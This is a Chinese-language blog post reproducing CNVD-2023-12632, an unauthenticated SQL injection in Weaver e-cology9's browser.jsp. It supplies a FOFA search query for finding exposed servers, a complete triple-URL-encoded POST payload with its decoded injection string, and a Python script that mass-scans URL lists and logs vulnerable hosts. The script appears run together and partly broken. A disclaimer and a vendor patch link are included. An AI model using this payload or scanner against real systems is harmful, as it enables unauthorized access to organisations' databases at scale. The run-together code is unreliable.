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文章目录
- 泛微E-cology9 browserjsp SQL注入漏洞(CNVD-2023-12632)漏洞复现 [附POC]
- 0x01 前言
- 0x02 漏洞描述
- 0x03 影响版本
- 0x04 漏洞环境
- 0x05 漏洞复现
- 1.访问漏洞环境
- 2.构造POC
- 3.复现
- 0x06 修复建议
泛微E-cology9 browserjsp SQL注入漏洞(CNVD-2023-12632)漏洞复现 [附POC]
0x01 前言
免责声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用！！！
0x02 漏洞描述
泛微协同管理应用平台e-cology是一套兼具企业信息门户、知识文档管理、工作流程管理、人力资源管理、客户关系管理、项目管理、财务管理、资产管理、供应链管理、数据中心功能的企业大型协同管理平台。
由于e-cology OA对用户输入内容的验证存在缺陷。未经身份验证的远程攻击者通过向目标系统发送特制的字符串，最终可实现获取目标数据库中的敏感信息。
0x03 影响版本
泛微e-cology V9<10.56
0x04 漏洞环境
FOFA语法：app=“泛微-协同商务系统”
0x05 漏洞复现
1.访问漏洞环境
2.构造POC
POC （POST）
POST /mobile/%20/plugin/browser.jsp HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 649isDis=1&browserTypeId=269&keyword=%25%32%35%25%33%36%25%33%31%25%32%35%25%33%32%25%33%37%25%32%35%25%33%32%25%33%30%25%32%35%25%33%37%25%33%35%25%32%35%25%33%36%25%36%35%25%32%35%25%33%36%25%33%39%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%35%25%32%35%25%33%32%25%33%30%25%32%35%25%33%37%25%33%33%25%32%35%25%33%36%25%33%35%25%32%35%25%33%36%25%36%33%25%32%35%25%33%36%25%33%35%25%32%35%25%33%36%25%33%33%25%32%35%25%33%37%25%33%34%25%32%35%25%33%32%25%33%30%25%32%35%25%33%33%25%33%31%25%32%35%25%33%32%25%36%33%25%32%35%25%33%32%25%33%37%25%32%35%25%33%32%25%33%37%25%32%35%25%33%32%25%36%32%25%32%35%25%33%32%25%33%38%25%32%35%25%33%35%25%33%33%25%32%35%25%33%34%25%33%35%25%32%35%25%33%34%25%36%33%25%32%35%25%33%34%25%33%35%25%32%35%25%33%34%25%33%33%25%32%35%25%33%35%25%33%34%25%32%35%25%33%32%25%33%30%25%32%35%25%33%34%25%33%30%25%32%35%25%33%34%25%33%30%25%32%35%25%33%35%25%33%36%25%32%35%25%33%34%25%33%35%25%32%35%25%33%35%25%33%32%25%32%35%25%33%35%25%33%33%25%32%35%25%33%34%25%33%39%25%32%35%25%33%34%25%36%36%25%32%35%25%33%34%25%36%35%25%32%35%25%33%32%25%33%39%25%32%35%25%33%32%25%36%32%25%32%35%25%33%32%25%33%37
PS：keyword参数后面的值是以下语句经过三次url编码后得到的。
a' union select 1,''+(SELECT @@VERSION)+'
3.复现
1.发送SQL注入查询数据库版本的数据包。
2.批量验证脚本
地址：
https://github.com/SharpKean/CNVD-2023-12632_POC
import requests
from termcolor import colored
import signal# Disable SSL certificate verification
requests.packages.urllib3.disable_warnings()output_file = None # 全局变量def check_url(url, output=None):headers = {"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9","Accept-Encoding": "gzip, deflate","Accept-Language": "zh-CN,zh;q=0.9","Connection": "close"}proxies = {'http': 'http://127.0.0.1:8080','https': 'http://127.0.0.1:8080'}data = {"isDis": "1","browserTypeId": "269","keyword": "%25%32%35%25%33%36%25%33%31%25%32%35%25%33%32%25%33%37%25%32%35%25%33%32%25%33%30%25%32%35%25%33%37%25%33%35%25%32%35%25%33%36%25%36%35%25%32%35%25%33%36%25%33%39%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%35%25%32%35%25%33%32%25%33%30%25%32%35%25%33%37%25%33%33%25%32%35%25%33%36%25%33%35%25%32%35%25%33%36%25%36%33%25%32%35%25%33%36%25%33%35%25%32%35%25%33%36%25%33%33%25%32%35%25%33%37%25%33%34%25%32%35%25%33%32%25%33%30%25%32%35%25%33%33%25%33%31%25%32%35%25%33%32%25%36%33%25%32%35%25%33%32%25%33%37%25%32%35%25%33%32%25%33%37%25%32%35%25%33%32%25%36%32%25%32%35%25%33%32%25%33%38%25%32%35%25%33%35%25%33%33%25%32%35%25%33%34%25%33%35%25%32%35%25%33%34%25%36%33%25%32%35%25%33%34%25%33%35%25%32%35%25%33%34%25%33%33%25%32%35%25%33%35%25%33%34%25%32%35%25%33%32%25%33%30%25%32%35%25%33%34%25%33%30%25%32%35%25%33%34%25%33%30%25%32%35%25%33%35%25%33%36%25%32%35%25%33%34%25%33%35%25%32%35%25%33%35%25%33%32%25%32%35%25%33%35%25%33%33%25%32%35%25%33%34%25%33%39%25%32%35%25%33%34%25%36%36%25%32%35%25%33%34%25%36%35%25%32%35%25%33%32%25%33%39%25%32%35%25%33%32%25%36%32%25%32%35%25%33%32%25%33%37"}try:modified_url = url + '/mobile/%20/plugin/browser.jsp'response = requests.post(modified_url, data=data, headers=headers, verify=False, timeout=3)content = response.textif "show2" in content:result = colored(url + " 存在", 'red')if output:with open(output, 'a') as file: # 以追加模式打开文件file.write(url + '\n')print(result) # 即时打印结果else:result = url + " 不存在"print(result) # 即时打印结果except requests.exceptions.RequestException as e:pass # 不进行任何操作，直接请求下一个URLdef check_urls_from_file(filename, output=None):with open(filename, 'r') as file:url_list = file.read().strip().split('\n')for url in url_list:check_url(url, output)# 捕获中断信号signal.signal(signal.SIGINT, handle_interrupt)def handle_interrupt(signum, frame):global output_file# 在捕获中断时保存当前扫描结果，并关闭文件if output_file:output_file.close()print("\n扫描已中断并保存当前结果。")exit()def main():global output_fileparser = argparse.ArgumentParser(description='CNVD-2023-12632检测POC')parser.add_argument('-u', '--url', help='检测单个URL')parser.add_argument('-r', '--file', help='从文本中批量检测URL')parser.add_argument('-o', '--output', help='将检测到的输出到文本中')args = parser.parse_args()if args.output:output_file = open(args.output, 'a') # 以追加模式打开输出文件if args.url:check_url(args.url, args.output)elif args.file:check_urls_from_file(args.file, args.output)else:parser.print_help()# 注册捕获中断信号的处理程序signal.signal(signal.SIGINT, handle_interrupt)# 关闭输出文件if output_file:output_file.close()
PS：使用方法：
-h 帮助
-u 检测单个URL
-r 读取文件批量检测
-o 将检测到的输出到文本中
0x06 修复建议
厂商已经更新补丁，修复方案：
https://www.weaver.com.cn/cs/securityDownload.asp#
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